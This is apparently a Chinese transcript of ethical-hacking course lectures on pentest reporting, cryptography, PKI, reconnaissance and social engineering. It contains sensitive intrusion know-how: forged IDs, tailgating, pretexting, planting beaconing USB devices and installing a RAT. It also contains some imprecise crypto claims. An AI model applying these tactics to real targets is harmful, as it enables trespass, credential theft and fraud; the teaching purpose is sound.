在本节课中,我们将学习如何将渗透测试的理论知识应用于一个模拟的实战场景。我们将探讨如何根据PTES标准,为一个虚构的组织撰写一份有意义的渗透测试报告,并理解在非理想环境下如何调整测试方法与报告内容。
由于我们的道德黑客实验环境无法提供一个完整的企业环境,因此PTES标准中的某些要素将不适用于本次作业。我会尽力填补一些空白,并指出可能不适用的部分。你的任务是调整报告,以对这个虚构组织的安全态势进行一次有意义的评估。
既然我们没有实际、健全的组织来进行渗透测试,本幻灯片的内容将为你的报告提供背景。不要误解这张幻灯片。它可能看起来侧重于Web应用和数据库,但你的许多漏洞也将来自Metasploitable服务器上运行的服务以及密码缺陷。

本次渗透测试将只包含三个部分:网络渗透测试、Web应用渗透测试以及数据库渗透测试的一些要素。在你探索Web应用漏洞时,你也应该了解一些MySQL数据库的访问控制机制,并将所学内容纳入报告。在威胁建模方面,假设数据库包含对业务成功运营至关重要的宝贵数据,以及客户个人身份信息。
Web应用实验只要求你探索OWASP Top 10中的三个漏洞,但请确保将你在完成实验过程中尝试或学到的任何其他内容也包含进去。


这是目标环境的一个视图,介于高管将要看到的内容和安全工程师将要看到的内容之间。该架构存在一些弱点。请思考更好的设计方案。但要记住,你的建议应基于发现的漏洞和风险来驱动,而不是系统设计原则。换句话说,你的建议应基于渗透测试结果,有充分的安全理由支持。例如,我们知道在不同内部网段之间部署防火墙的多层架构比图中所示的设计更好,但你需要基于不存在的、或你能够绕过的薄弱控制机制来支持你的建议。

这是一个提醒,PTES指南需要根据实际情况进行调整。例如,由于不存在实际的“小提琴部件供应商”,我们将讨论的许多信息收集工具将不适用。并且由于你只检查了OWASP Top 10中的三个Web应用漏洞,相关的讨论和建议将是不完整的评估,报告中应注明测试的这一不足之处。
以下是你在整个课程中将收集的信息摘要,这些信息将为渗透测试报告提供内容。但要记住,报告不是一堆无关的截图集合。图表是报告的一部分,应仔细标注,但批判性思维才是关键。请思考你正在评估的这个企业。
我们不会在规划周期内进行任何威胁建模,因此你应该回顾PTES网站上关于“战前互动”阶段的威胁建模内容。我已经确定了三个威胁,你应该将其包含在你的测试报告中。如果你采用了不同的威胁建模方法并希望包含其他参与者,那也可以。如果你尚未从威胁的角度思考你的测试,你应该重新审视PTES指南,因为威胁应该驱动渗透测试。这可能会导致额外的扫描、额外的漏洞利用以及额外的利用后活动。
以下是你的报告需要注意的一些事项。首先,不要求你识别每一个漏洞。你会在互联网上找到大量关于Metasploitable的讨论,包括一份160页的漏洞审计报告。但那种报告不是本次作业的目标。本次作业的目标是,将你在整个课程中学到的知识整合成一份遵循PTES指南的结构化文档。你希望渗透测试由威胁建模驱动,或者至少从前一张幻灯片中提到的威胁参与者的视角出发。
确保报告中记录的所有方法都基于批判性思维和可重复的方法论。这并不是说创造性思维不起作用。事实上,它对你的成功至关重要。这只是意味着需要有一个可重复的过程,以便你能够在12个月后为客户再次执行,从而生成在第一次渗透测试背景下有意义且可比较的第二次结果。
对于一个易受攻击的系统,可以考虑在不同时间、针对不同操作系统版本运行渗透测试。你希望结果是可重复且可比较的。最后,确保你的写作简洁、清晰,并有流畅的过渡。工程师通常擅长向其他工程师解释技术细节,但不擅长向高管解释诸如业务风险之类的事情。你需要两者都能做到。事实上,我建议你找一个非技术人员阅读你的“执行摘要”,看看他们是否能跟上思路。即使有些内容对他们来说很陌生,阅读执行摘要也不应要求具备技术专长。拼写错误、语法错误、过渡生硬和表述不清都会导致扣分。


本节课中,我们一起学习了如何为一个模拟的实战场景准备渗透测试报告。我们明确了在有限环境下调整PTES标准的重要性,理解了报告应基于实际发现的漏洞和风险提出建议,而非单纯的设计原则。我们还强调了威胁建模对测试的驱动作用、报告内容的批判性思维与可重复性,以及向不同受众清晰传达技术发现和业务风险的必要性。
013:密码学基础

概述
在本节课中,我们将学习密码学的基础知识,包括两种主要的密码类型、数据加密标准、高级加密标准以及几种常见的加密模式。我们还将探讨填充和初始化向量的概念及其在加密过程中的重要性。
密码类型 🔐
上一节我们介绍了模块三的总体内容,本节中我们来看看密码学的基础——密码类型。密码主要分为两种:置换密码和替换密码。
置换密码:字母被重新排列,但字母本身不改变。
例如,使用列置换技术处理明文“hello world”,会得到垂直格式的密文“HOL E WDLOLR”。

替换密码:字母被改变,但位置保持不变。
例如,在凯撒密码中,如果密码偏移四个字母,那么明文中的A就会变成E。
虽然这些古典密码如今已不常用,但它们的核心思想仍被现代密码算法所采用。
数据加密标准 📜
了解了古典密码后,我们来看一个重要的现代加密标准。数据加密标准是一种基于Lucifer密码的加密标准,但其设计者做出了两项有争议的修改,主要是将密钥长度减少了一半以上。
原始的128位密钥被缩减为64位,其中实际密钥长度为56位,外加8位奇偶校验位。
在1997年至1999年间,RSA安全公司发起了一系列破解DES的挑战,证明了56位密钥在面对暴力攻击时是脆弱的。这催生了三重DES的出现,其密钥长度为 56 * 3 = 168 位。

然而,三重DES的计算开销较大,最终被更高效的高级加密标准所取代。
高级加密标准 ⚙️
与DES不同,AES的制定过程是公开的,没有NSA的参与。其选拔标准非常严格。

以下是AES算法的选拔标准:
- 算法必须是对称分组密码。
- 算法必须公开定义并可自由获取。
- 算法必须支持多种密钥长度。
根据密码强度、易于实现性、软硬件性能以及专利费用等因素进行评判后,Rijndael分组密码最终胜出,成为AES标准。AES支持的密钥长度包括128位、192位和256位。
加密模式 🔄
在选择了加密算法后,如何使用它也同样重要。接下来我们探讨几种不同的加密操作模式。
电子密码本模式
ECB模式是一种分组密码模式,使用64位分组。它简单、快速,适用于加密小数据块。


但它存在安全风险:
- 每个数据块使用相同的密钥加密,攻击者可能破解密钥并解密所有数据块。
- 攻击者可以收集每个块的密文/明文对,无需密钥即可构建密码本。
其核心问题是缺乏随机性,在处理大量数据时,重复的模式会暴露。公式表示为:相同的明文 + 相同的密钥 = 相同的密文。
尽管如此,ECB因其高效性,仍常用于PIN码、挑战-应答认证等处理小数据的场景。
密码分组链接模式
在ECB之后,我们来看CBC模式。它与ECB的主要区别在于,CBC不会像ECB那样暴露数据模式。
CBC模式使用初始化向量。这是一个关键改进,因为IV能确保即使两个明文块相同,其密文也会不同。

其工作流程是:第一个明文块先与IV进行异或操作,然后再加密。后续的每个明文块都会先与前一个密文块进行异或,再进行加密。这个过程称为链式处理。
密码反馈模式
CFB模式结合了分组密码和流密码的特性。它像CBC一样使用初始化向量和链式处理。

此外,它使用密钥和IV通过算法生成一个随机的密钥流。该模式适用于实时产生的数据。
输出反馈模式
OFB模式与CFB模式相似,主要区别在于反馈到下一个块的数据不同。
在CFB中,异或操作之后的数据被反馈。而在OFB中,异或操作之前的数据被反馈。
OFB模式的一个主要优势是没有链式功能,因此传输错误不会传播,不会影响后续数据块的解密。

填充与初始化向量 🧩
最后,我们来讨论加密中的两个重要辅助技术:填充和初始化向量。
当使用某些加密模式时,数据被划分为与密码分组大小匹配的块。但最后一个数据块的大小通常无法保证匹配。此时就需要进行填充。
对于CBC等模式,填充是必要的。加密前,需要向最后一个明文块添加数据,使其大小等于密码的分组大小。而对于使用流密码的模式,填充通常不是问题。

关于初始化向量,需要知道的是:如果不使用IV,那么用相同密钥加密的两个相同明文,将产生相同的密文。IV和密钥一起为加密过程提供了更多的随机性。
然而,使用IV时也需注意:
- IV需要存储空间,并且必须唯一。
- 如果IV可预测或重复使用,系统可能容易受到已知明文攻击或选择明文攻击。
因此,开发者必须确保IV随时间变化且不可预测。
总结

本节课我们一起学习了密码学的基础知识。我们从置换密码和替换密码开始,了解了DES标准的历史与局限,以及AES标准的优势。然后,我们深入探讨了ECB、CBC、CFB和OFB这几种加密模式的工作原理与特点。最后,我们明确了填充和初始化向量在确保加密安全性和正确性中的关键作用。理解这些概念是进一步学习密码学和网络安全的重要基础。
014:公钥密码学原理 🔐
在本节课中,我们将要学习公钥密码学的基本原理。公钥密码学是现代安全通信的基石,它解决了对称加密中密钥分发的难题。我们将重点探讨其三个核心组成部分:密钥交换、数字签名及其应用。
概述
公钥密码学,也称为非对称加密,使用一对密钥:公钥和私钥。公钥可以公开分享,用于加密或验证签名;私钥则必须严格保密,用于解密或生成签名。接下来,我们将逐一解析其核心概念。
密钥交换
上一节我们介绍了对称加密的挑战,本节中我们来看看如何安全地交换密钥。密钥交换是公钥密码学的重要应用之一,它允许通信双方在不安全的信道上建立一个共享的秘密密钥。
椭圆曲线密码学是当前密钥交换的主流方法。它是一种基于椭圆曲线代数结构的公钥密码学方法。
公式: 椭圆曲线方程通常表示为 y² = x³ + ax + b。
与传统的RSA算法相比,椭圆曲线密码学能够以更短的密钥长度提供同等的安全性。例如,256位的椭圆曲线密钥提供的安全强度,相当于3072位的RSA密钥。
以下是密钥交换过程的数学步骤分解:
- 通信双方(例如Alice和Bob)各自生成一对公私钥。
- 他们互相交换公钥。
- 每一方使用自己的私钥和对方的公钥,通过特定的椭圆曲线点运算,独立计算出相同的共享秘密密钥。
这个过程的核心是迪菲-赫尔曼密钥交换协议。该协议允许两个从未通信过的实体,通过不安全的信道安全地交换密钥。
在右侧图表中,您可以看到Alice和Bob交换密钥的具体步骤。Alice选择一个私钥,Bob也选择一个私钥,他们通过一系列模运算和公钥交换,最终得到相同的共享密钥。


数字签名
理解了密钥交换后,我们进一步探讨公钥密码学的另一个核心功能:数字签名。数字签名用于验证信息的完整性和发送者的身份。


怀特菲尔德·迪菲和马丁·赫尔曼在提出密钥交换时,首次构想了数字签名的概念,这成为了该技术的起点。

右侧的图表进一步详细解释了结合椭圆曲线密码学的首次密钥交换过程。


如果您逐步查看交换条款,可以在那里看到详细步骤。

当您完成密钥交换后,基本上如右侧屏幕所示。右侧的图23.4描绘了签名过程。
为了对消息签名,Alice使用她的私钥从消息生成一个签名。由于只有Alice知道她的私钥,她能生成这个签名并发送出去。
当Bob收到带有签名的消息后,他可以使用Alice的公钥来验证签名,从而确认消息的真实性和来源。任何拥有Alice公钥副本的人都可以验证她的签名。
迪菲-赫尔曼提出了数字签名的构想,但没有给出具体解决方案。这项技术后来在RSA算法中得以实现。罗纳德·李维斯特、阿迪·萨莫尔和伦纳德·阿德曼基于RSA算法开发了第一个实用的数字签名算法。
数字签名有助于防止中间人攻击,我们将在后续视频中讨论这种攻击。
RSA算法基于这几位科学家的工作,它主要使用模运算。模运算基本上是求一个数除以另一个数后的余数。
公式: 给定两个整数A和N,A mod N 的结果是A除以N后的余数。
例如:
- 10 mod 3 = 1 (因为10除以3余1)
- 15 mod 5 = 0 (因为15除以5余0)

在加密和解密过程中,加密时将明文视为一个数字,然后使用公钥指数E和模数N进行模幂运算。解密过程则使用私钥指数D进行反向运算。

现在在公式区域,您可以看到它们如何分解加密和解密这两个过程。
应用
最后,我们来探讨公钥密码学的应用。其中一个主要应用是身份认证。
进行身份认证的典型方法是使用密码。
假设客户端A需要向客户端B发送加密消息,并需要被认证。B会检查密码是否与存储的哈希值匹配。这种方法易于实现和使用,因此在开发和部署中被接受。
但这种方法存在一些缺点。
以下是密码认证的主要缺点:
- 密码需要被传送:A需要将密码发送给B,因此B也知道密码。如果A在多个账户中使用相同密码(这很常见),那么入侵了B机器的黑客也能获取A的密码,从而进一步入侵A使用相同密码的其他账户。
- 单向认证:密码认证通常适用于单方认证,例如客户端向服务器认证。但反过来(服务器向客户端认证)效果不佳。通常,服务器不会尝试向单个客户端认证自己。


应用的另一部分是,服务器可以使用密码来认证多个客户端,这假设每个客户端都有自己的密码。
但客户端通常不能使用密码来认证服务器。因为服务器如果将同一个密码发送给多个客户端,所有客户端都会知道密码,其中任何一个都可以冒充服务器。这就是为什么通常是客户端对服务器进行单向认证,而不是反过来。
然而,能够认证服务器至关重要,这能确保我们作为客户端是在与真实的服务器通信。否则,认证信任可能被破坏。
密码认证的根本问题在于它依赖于共享的秘密。这类似于对称加密:任何拥有秘密(密钥)的人都可以被认证,就像任何拥有加密密钥的人也能解密消息一样。
因此,公钥密码学(非对称加密)解决了这个问题。您不需要像对称加密那样拥有一个共享的相同密钥。
公钥密码学通过数字签名或迪菲-赫尔曼/椭圆曲线密钥交换来解决此问题。因为您使用的加密和解密密钥是不同的。
利用同样的技术,我们可以解决密码认证面临的问题。我们可以使用一个密钥(私钥)生成认证数据,而使用另一个不同的密钥(公钥)来验证该数据。

总结

本节课中我们一起学习了公钥密码学的核心原理。我们从密钥交换开始,了解了椭圆曲线密码学如何高效安全地建立共享密钥。接着,我们探讨了数字签名如何验证消息的真实性和完整性,并介绍了RSA算法的模运算基础。最后,我们分析了公钥密码学在身份认证中的应用,以及它如何克服传统密码认证的缺陷。公钥密码学通过使用非对称的密钥对,为安全通信和身份验证提供了强大的基础。
015:公钥基础设施(PKI) 🔐

在本节课中,我们将要学习公钥基础设施(PKI)的核心概念。我们将探讨公钥加密、哈希函数、针对公钥加密的攻击、公钥证书(特别是X.509标准)、证书颁发机构的工作原理、对PKI的攻击、相关案例研究以及数字签名证书的类型。
公钥加密与哈希
上一节我们介绍了数字签名和密钥交换。本节中,我们来看看公钥加密和哈希函数如何构成PKI的基础。
公钥加密(PKI)解决了对称加密中的密钥交换难题。在对称加密中,双方需要使用相同的密钥,而安全地交换这个密钥本身就是一个挑战。公钥加密使用一对密钥:公钥和私钥。公钥可以公开分享,用于加密数据;私钥则必须保密,用于解密数据。其核心关系可以表示为:
- 加密:
密文 = 加密函数(公钥, 明文) - 解密:
明文 = 解密函数(私钥, 密文)
然而,公钥加密并非绝对安全,它仍然容易受到特定攻击,例如我们之前提到的中间人攻击。
中间人攻击详解
为了理解PKI的必要性,我们需要深入分析中间人攻击是如何发生的。
假设Alice和Bob希望安全通信。以下是攻击者Mallory进行中间人攻击的步骤:

- 拦截公钥:当Alice试图将她的公钥发送给Bob时,Mallory拦截了这个传输。
- 替换公钥:Mallory将自己的公钥发送给Bob,并冒充是Alice的公钥。
- 欺骗Bob:Bob收到公钥(以为是Alice的,实则是Mallory的),并用它加密一个生成的会话密钥,然后发送给“Alice”。
- 再次拦截与解密:Mallory拦截Bob发送的加密消息。因为她有自己的私钥,可以解密该消息,从而获得Bob生成的会话密钥。
- 重新加密并转发:Mallory用Alice真正的公钥重新加密这个会话密钥,然后转发给Alice。
- 通信被监听:至此,Alice和Bob都拥有了相同的会话密钥,可以开始对称加密通信。但Mallory也拥有这个密钥,因此她可以解密Alice和Bob之间的所有后续通信,甚至可能篡改内容。
这个攻击之所以成功,是因为通信双方缺乏一个可信的机制来验证公钥的真实归属。
数字签名与证书颁发机构
为了解决中间人攻击问题,我们需要引入可信的第三方和数字签名。
数字签名和证书颁发机构通过以下方式修复了安全漏洞:
- 使用非对称加密:继续使用公钥和私钥对,而非单一的共享密钥。
- 引入可信第三方:证书颁发机构作为一个受信任的实体,负责验证用户的身份并将其与公钥绑定。
其工作流程如下:
- Alice向CA申请证书。CA验证Alice的身份后,使用CA自己的私钥为Alice的公钥及相关信息(如身份信息)生成一个数字签名,并打包成数字证书。
- Alice将她的证书(包含她的公钥和CA的签名)发送给Bob。
- Bob收到证书后,使用他信任的CA的公钥来验证证书上的签名。如果验证通过,Bob就可以确信证书中的公钥确实属于Alice。
即使Mallory拦截了证书,她也无法用自己的公钥替换Alice的公钥,因为那样会导致CA的签名无效,Bob在验证时会发现异常。Mallory也无法从CA那里获得一个以Alice名义签发、但包含Mallory公钥的证书,因为CA在签发前会进行严格的身份验证。

X.509公钥证书
数字证书遵循标准格式,其中最广泛应用的是X.509标准。
一个X.509证书包含多个字段,以下是核心部分:
- 版本
- 序列号
- 签名算法
- 颁发者:签发证书的CA名称。
- 有效期:证书的起止日期和时间。
- 主体:证书持有者的名称(如个人或组织)。
- 主体公钥信息:持有者的公钥及使用的算法。
- 颁发者唯一标识符 / 主体唯一标识符
- 扩展
- 签名:CA对以上所有信息计算哈希值并用CA私钥加密后的结果。
证书的注册、验证与吊销

证书的生命周期管理涉及三个关键环节:

1. 注册
用户必须向证书颁发机构证明自己的身份,才能获得数字证书。这个过程通常需要提供官方身份证明文件,有时甚至需要本人到场。

2. 验证
当一方收到另一方的证书时,会通过验证CA的数字签名来确认证书的真实性和有效性。
3. 吊销
证书在到期前可能因某些原因被撤销。以下是常见的吊销原因:
- 证书持有者的私钥疑似泄露。
- 发现证书是欺诈性获得的。
- 证书持有者状态变更(如公司解散、员工离职)。
- CA的私钥泄露。

PKI攻击案例研究
对PKI的攻击主要针对其验证和签发流程。以下是两个历史案例:
案例一:针对CA验证过程的攻击(2011年)
攻击者入侵了一家“注册机构”(RA,协助CA验证用户身份的实体)。通过该RA,攻击者向CA提交了虚假证明,声称自己拥有某些知名域名(如 mozilla.org 的子域名)。CA在验证不充分的情况下,为这些域名签发了证书。幸运的是,这些恶意证书在造成实际危害前被安全公司发现并报告,浏览器厂商随后通过更新将涉事证书加入黑名单。
案例二:针对CA签发过程的攻击(DigiNotar事件)
攻击者直接入侵了荷兰一家CA(DigiNotar)的系统,并非法签发了数百张伪造的证书,其中包括针对Google等知名网站的证书。这些证书被用于在特定地区(主要是伊朗)发起中间人攻击,可能截获了约30万用户的通信。事件最终被曝光,该CA随后破产。


对哈希算法的攻击
数字签名的安全性依赖于哈希函数的两个关键属性:单向性和抗碰撞性。
- 单向性:难以从哈希值反推出原始输入。
- 抗碰撞性:难以找到两个不同的输入,使它们产生相同的哈希值。
2017年,研究人员宣布了对SHA-1哈希算法的“碰撞攻击”(命名为SHAttered)。他们成功制造了两个内容不同但SHA-1哈希值完全相同的PDF文件。这意味着:
- 攻击者可以创建一个证书申请文件(A)和一个恶意网站文件(B),使它们具有相同的SHA-1哈希值。
- 攻击者将文件A提交给CA,CA对其哈希值进行签名并颁发证书。
- 由于文件B的哈希值与文件A相同,CA对文件A的签名也等同于对文件B的签名。
- 攻击者从而可以利用这份合法的签名,为恶意网站B伪造一个看似有效的证书,进而可能发起中间人攻击。此事件加速了行业从SHA-1向更安全的SHA-256等算法迁移。

数字证书的类型
数字证书根据验证等级主要分为三类:



1. 域名验证证书
这是最常见的类型。CA仅验证申请者对特定域名的控制权(例如,通过向该域名注册的邮箱发送验证邮件)。它不验证组织或个人的真实身份。
2. 组织验证证书
除了验证域名控制权,CA还会验证申请组织的真实存在性(如通过官方数据库核查公司注册信息)。此类证书会在证书详情中显示组织名称。

3. 扩展验证证书
这是验证级别最高的证书。CA会执行严格的审查流程,包括验证组织的法律、物理和运营存在性。签发EV证书通常需要提供更多法律文件,并经过多步人工核查。浏览器在访问使用EV证书的网站时,地址栏会显示绿色的公司名称,提供更高的视觉信任提示。


总结

本节课中,我们一起学习了公钥基础设施的完整体系。我们从公钥加密的原理和面临的中间人攻击出发,理解了引入数字签名和证书颁发机构的重要性。我们详细剖析了X.509证书的结构、生命周期管理(注册、验证、吊销),并通过历史案例看到了PKI在实际中可能遭受的攻击。最后,我们了解了不同验证等级的数字证书类型及其应用场景。PKI是现代网络安全的基石,它通过建立信任链,确保了网络通信中身份的真实性和数据的机密性。
016:情报收集技术 🕵️
在本节课中,我们将要学习道德黑客方法论中的“侦察”环节。侦察,有时也被称为信息收集、情报收集或开源情报,其核心在于在不被目标察觉的情况下,被动地观察和收集信息。这是渗透测试的第一个技术环节,旨在为后续的有效测试打下坚实基础。

侦察的概念框架
上一节我们介绍了侦察的基本定义,本节中我们来看看其结构化的概念框架。


这张概念图清晰地展示了侦察的构成。位于中心红色区域的是“信息收集”,在本模块中,它与“侦察”一词可互换使用。

- 信息目标:图右上角展示了我们为渗透测试所寻求的信息类型,包括任务信息、网络拓扑和IP地址。
- 信息存储:图左上角是存储已收集信息的仓库。记录一切至关重要,方式可以从简单的文本文件到复杂的多用户协作工具(如Dradis)。
- 侦察分类:图底部将侦察分为主动和被动两类。
- 被动侦察:目标无法察觉自己正被观察,数据收集过程是隐蔽的。
- 主动侦察:所使用的技术有很大概率会被受害者检测到。
可收集的信息类型与工具

了解了侦察的框架后,我们来看看具体可以收集哪些信息以及可能用到的工具。以下是部分信息类型和对应工具的列表:

- 域名信息:例如
whois查询。 - DNS记录:例如使用
nslookup或dig命令。 - 网络拓扑:例如使用
traceroute命令。 - 员工信息:例如通过社交媒体或公司网站。
- 技术栈信息:例如使用
nmap进行服务扫描。

本课程的目标是介绍信息收集的概念,并通过讨论少数工具来帮助理解和探索这些概念,而非提供全面的工具列表。模块的作业会要求你进行一些信息收集实践,上述工具可能会派上用场。
物理信息收集技术
除了网络信息,物理环境的信息同样重要。获取物理访问权限需要了解目标地点。

一种方法是使用谷歌地图等工具进行远程观察。卫星视图可能显示垃圾箱、可能的入口以及停车场。拉近视图甚至可能发现监控摄像头。此外,“鸟瞰图”能提供3D视角,带来更多物理环境洞察。
我们都听说过“垃圾搜寻”的故事。《纽约时报》曾报道过一个真实案例:俄勒冈州一名叫斯蒂芬·梅西的冰毒成瘾者,领导了联邦当局起诉过的最广泛、最臭名昭著的身份盗窃团伙之一。该团伙始于梅西发现了一个存放回收物的棚屋,里面有会计事务所丢弃的税表,上面包含姓名、出生日期和社会安全号码。他利用这些信息以受害者名义申请信用额度。虽然这是身份盗窃的例子,但同样的技术可用于收集渗透测试目标组织的信息。
进入设施与内部信息收集
假设我们需要进入目标建筑,以下是一些技巧和进入后可以做的事情:

- 应对门卫:如果门卫不控制进出,可以混入人群走进电梯。如果需要检查ID,可以基于先前观察伪造ID,例如假称需要向人力资源部递交简历。
- 尾随进入:如果ID卡有磁条、芯片或RFID控制,尾随他人进入可能奏效,前提是员工在执行个体认证时不够警惕。
- 内部信息收集:进入后,可以尝试使用空闲工位或墙上的电话。VoIP数据库通常可访问,能快速收集姓名和电话号码,用于后续的社会工程学攻击。有些数据库甚至显示员工职位,可以借此寻找系统管理员。
- 准备说辞:必须准备好解释自身存在的理由,以及在被过度“帮助”时脱身的借口。例如,可以说“我来拜访隔壁楼的朋友麦克·琼斯”,这比说“我找人力资源部”更容易脱身。
- 观察与记录:渗透测试员需要观察并记录设施弱点,如被撑开的门、吊顶天花板和可被利用的门传感器。
可获取的物理物品与遗留设备
在设施内部,有许多物品可能有助于信息收集。
- 带出物品:例如,一些组织的激光打印机仍会打印包含用户信息的封面页,这对于确定后续渗透测试用的用户名可能非常宝贵。注意:带走硬件可能构成重罪,必须确保获得书面授权。
- 遗留设备:也可以在设施内留下设备。这些设备通常包含恶意软件,一旦连接或访问,就会与防火墙外的恶意服务器建立出站连接。如今硬件上USB端口众多,很容易找到不显眼的位置插入。如果电脑设置了自动运行,恶意硬件能在几秒钟内部署并启动有效载荷,之后便可移除。

在线信息收集工具
对组织进行侦察时,在线工具非常强大。

- Google Alerts:监控网站的新内容,并在发现相关内容时发送电子邮件。例如,可以设置提醒来跟踪产品更新、组织变革、招聘信息或企业新闻,这可能揭示组织何时招聘了经验不足的新系统管理员。
- Google Hacking:通过添加特定指令来精炼谷歌搜索,找到原本可能淹没在信息海洋中的材料。最初,精心设计的搜索查询可以定位互联网上运行易受攻击软件或完全未保护个人身份信息的服务器。

以下是一些有助于信息收集的谷歌指令示例:
site:– 将搜索限制在特定网站filetype:– 搜索特定文件类型inurl:– 搜索URL中包含特定关键词的页面intitle:– 搜索标题中包含特定关键词的页面
一个简单的例子是搜索某个域名的缓存PDF文件:
filetype:pdf site:example.com
约翰尼·朗是谷歌黑客领域的先驱,他在2007年出版的《Google Hacking for Pen Testers Volume 2》中更新了相关理念。他的网站是 johnny.ihackstuff.com。
谷歌黑客数据库与网站复制
约翰尼·朗最初创建的谷歌黑客数据库可以在 www.hackersforcharity.org/ghdb 找到。它是利用谷歌搜索引擎不断扩大的覆盖范围进行信息收集的权威来源。在GHDB中,你可以找到数百个谷歌搜索的搜索词和结果,这些搜索会返回包含用户名、易受攻击的服务器甚至密码的文件。

- HTTrack:这是一个网站复制工具,允许你将网站从互联网下载到本地目录,重建所有目录结构,并将HTML、图像等文件从服务器复制到你的计算机。HTTrack会重写原始站点的相对链接结构,使你能够在浏览器中像在线浏览一样点击链接。
- 注意事项:默认设置下,HTTrack会打开多个连接全速下载,这很容易被Web服务器检测并记录IP,甚至可能被屏蔽。HTTrack内置了选项可以限制传输速度,使交互看起来更像人工浏览,但这需要更长时间。无论如何,复制所有网页都会产生可检测的流量,比单纯浏览要“嘈杂”得多。受访问控制(如
.htaccess)的部分网站内容将无法复制。
- 注意事项:默认设置下,HTTrack会打开多个连接全速下载,这很容易被Web服务器检测并记录IP,甚至可能被屏蔽。HTTrack内置了选项可以限制传输速度,使交互看起来更像人工浏览,但这需要更长时间。无论如何,复制所有网页都会产生可检测的流量,比单纯浏览要“嘈杂”得多。受访问控制(如
互联网档案与 robots.txt
互联网永远不会忘记。文件和网站会被缓存。
- Wayback Machine:访问
www.archive.org。假设目标曾发布过员工组织信息或电话号码,后来出于隐私考虑删除了。虽然从网站上删除了,但它是否也从缓存中消失了?另一个例子是无意中发布的社会安全号码。错误被发现后,SSN肯定会被移除,但它们是否已被缓存?如果已被缓存,组织很可能对此一无所知,除非他们知道Wayback Machine。- 使用方法:你可以查看网站每年被保存的次数,点击蓝色的日期点即可访问该日期的网页快照,并探索其中被缓存的链接。这对于寻找鱼叉式网络钓鱼的邮件目标可能非常宝贵。

- robots.txt:网站上的
robots.txt文件用于指示网络爬虫应忽略哪些文件或目录。当网站所有者希望某些目录不被爬取时,会将这个文本文件放在网站根目录下。遵循规则的爬虫(如Google和Bing)会在抓取网站其他文件前先读取此文件。如果robots.txt不存在,爬虫会爬取整个站点。- 对渗透测试员的意义:
robots.txt可能指明了网站所有者不希望被公开索引的目录路径,这恰恰为渗透测试员提供了需要探索的潜在信息宝库。
- 对渗透测试员的意义:
总结与下节预告
本节课中我们一起学习了信息收集的基础知识。我们讨论了几种物理侦察技术,并介绍了一些用于研究目标域名的高级工具。我们开始收集可能对后续工作有帮助的细节信息,因此应该妥善归档。养成随时截图、记录主机名和IP地址的习惯非常重要,同时也不要忘记归档遇到的任何补充信息。绝对要避免因为当时没有记录而不得不重复信息收集过程。
在下一讲中,我们将讨论社会工程学。归根结底,社会工程学是关于建立信任并操纵真相以达到特定目标。我们将探讨这个主题,并简要介绍一位大师:凯文·米特尼克。


017:社会工程学攻击 🎭
在本节课中,我们将要学习社会工程学攻击。这是一种利用人性弱点而非技术漏洞的攻击方式,通过操纵信任来获取信息或访问权限。我们将探讨其原理、经典案例、攻击手法以及防御意识。
概述
社会工程学攻击的核心在于操纵信任。攻击者通过伪装身份、编造借口(即“借口托辞”)或利用公开信息,诱使目标采取特定行动,从而达成攻击目的。这种攻击之所以有效,是因为人们通常倾向于信任那些看起来可信的人或事。
侦察:攻击的基石

在针对特定目标发起社会工程学攻击之前,关键策略是完成侦察工作,即收集关于目标公司的信息。

以下是您需要了解的信息类型:
- 组织内特定部门的运作方式。
- 该部门的职责。
- 员工可以访问哪些类型的信息。
- 谁可以请求哪些类型的信息。
- 提出请求的标准流程是什么。
- 组织是否有任何信息发布限制。
- 更重要的是,公司使用的术语、缩写和行话是什么。
这一切都是为了建立信任。社会工程技术之所以有效,正是因为人们非常信任那些建立了可信度的人。这正是侦察和研究为您带来的优势。
社会工程学在渗透测试中的位置
上面的图表展示了一个抽象的、综合了多种方法论(包括零日攻击方法)的道德黑客方法论。事实上,所有的渗透测试方法论都会包含部分或全部这些阶段。标签本身并不重要,重要的是道德黑客为了成功所必须经历的步骤。
如图所示,社会工程学只是收集目标信息的一种方法,它能让您深入挖掘更多细节,并进入扫描阶段。
从渗透测试者的角度来看,我们首先收集组织及其内部人员的信息。我们可能收集到足够的信息来扫描漏洞。然而,如果信息稀少或网络防护严密,我们可能需要进行一些社会工程学攻击。这将涉及试图诱骗受害者使其自身或其系统进入易受攻击的状态。
在第一种情况下,我们严格处于信息收集阶段。在第二种情况下,我们利用已收集到的关于个人的有限信息来制定攻击向量,从而创建一个入口点。

凯文·米特尼克:一个传奇案例
凯文·米特尼克最初利用其社会工程学技能进入电话公司、网络和计算机系统。他最终发展到窃取源代码、克隆手机和盗用身份。他在联邦监狱服刑五年,其中一年因一名不了解情况但过度热心的美国检察官而被单独监禁。获释后,他创办了一家合法的渗透测试公司,并利用其作为臭名昭著的黑客的声名获利。事实上,我受其营销影响购买了《线上幽灵》这本自传,它深入揭示了其社会工程学的世界。

以下是一个社会工程学攻击的示例。当您浏览这些步骤时,请判断您认为这是米特尼克的非法活动,还是他作为合法渗透测试的一部分进行的操作。
攻击场景如下:
- 以给员工送信为借口(即“借口托辞”)访问公司。
- 在访问期间,窥视员工使用的门禁卡。
- 回家制作一张逼真的仿制品。
- 返回现场,尾随一组人(例如,在后门吸烟的员工或午餐后返回的员工)进入。
- 由于之前在领英上的侦察提供了一个网络工程师的名字,您四处游荡找到了他的办公室。
- 办公室门锁着,于是您通过吊顶进入。
- 进入锁着门的办公室后,使用U盘从Linux系统启动,该系统带有黑客工具包。
- 更改本地管理员密码,重启并安装RAT(远程访问木马)。
- 进入计算机注册表,将最后登录用户设置为该工程师的用户名。
- 第二天早上当工程师登录时,他的计算机会通过RAT建立连接,测试者便获得了对网络的完全管理员访问权限。
- 接着,您可以导航到域控制器并转储密码哈希值,这些哈希值可以在离线状态下被攻击以获取其他凭证。
尽管其中一些技术在正常的渗透测试中可能不被允许,但事实证明,这是《线上幽灵》中描述的一次经授权、付费的渗透测试。这也引出了另一个重要的提醒:任何渗透测试相关的边界和约束都应以书面形式明确定义。
更多攻击手法示例
以下是凯文描述的另一个物理攻击案例,被其渗透测试公司使用。
- 测试者在谷歌地图上查找目标设施,确定该公司刚刚租用了一个办公套间。
- 接下来,他以平克顿调查公司需要办公空间为借口,联系了同一名房地产经纪人。
- 该经纪人在另一个城市与平克顿合作过,因此他们开始建立信任关系。这当然是关键所在。
- 他们试图寻找共同的朋友。“你认识某某吗?”“不认识。”“那你认识某某吗?”等等。
- 然后,测试者告诉经纪人,作为一家安全公司的代表,他想在租用空间前了解大楼的物理安全控制措施。
- 经纪人解释了所有设施的运作方式。
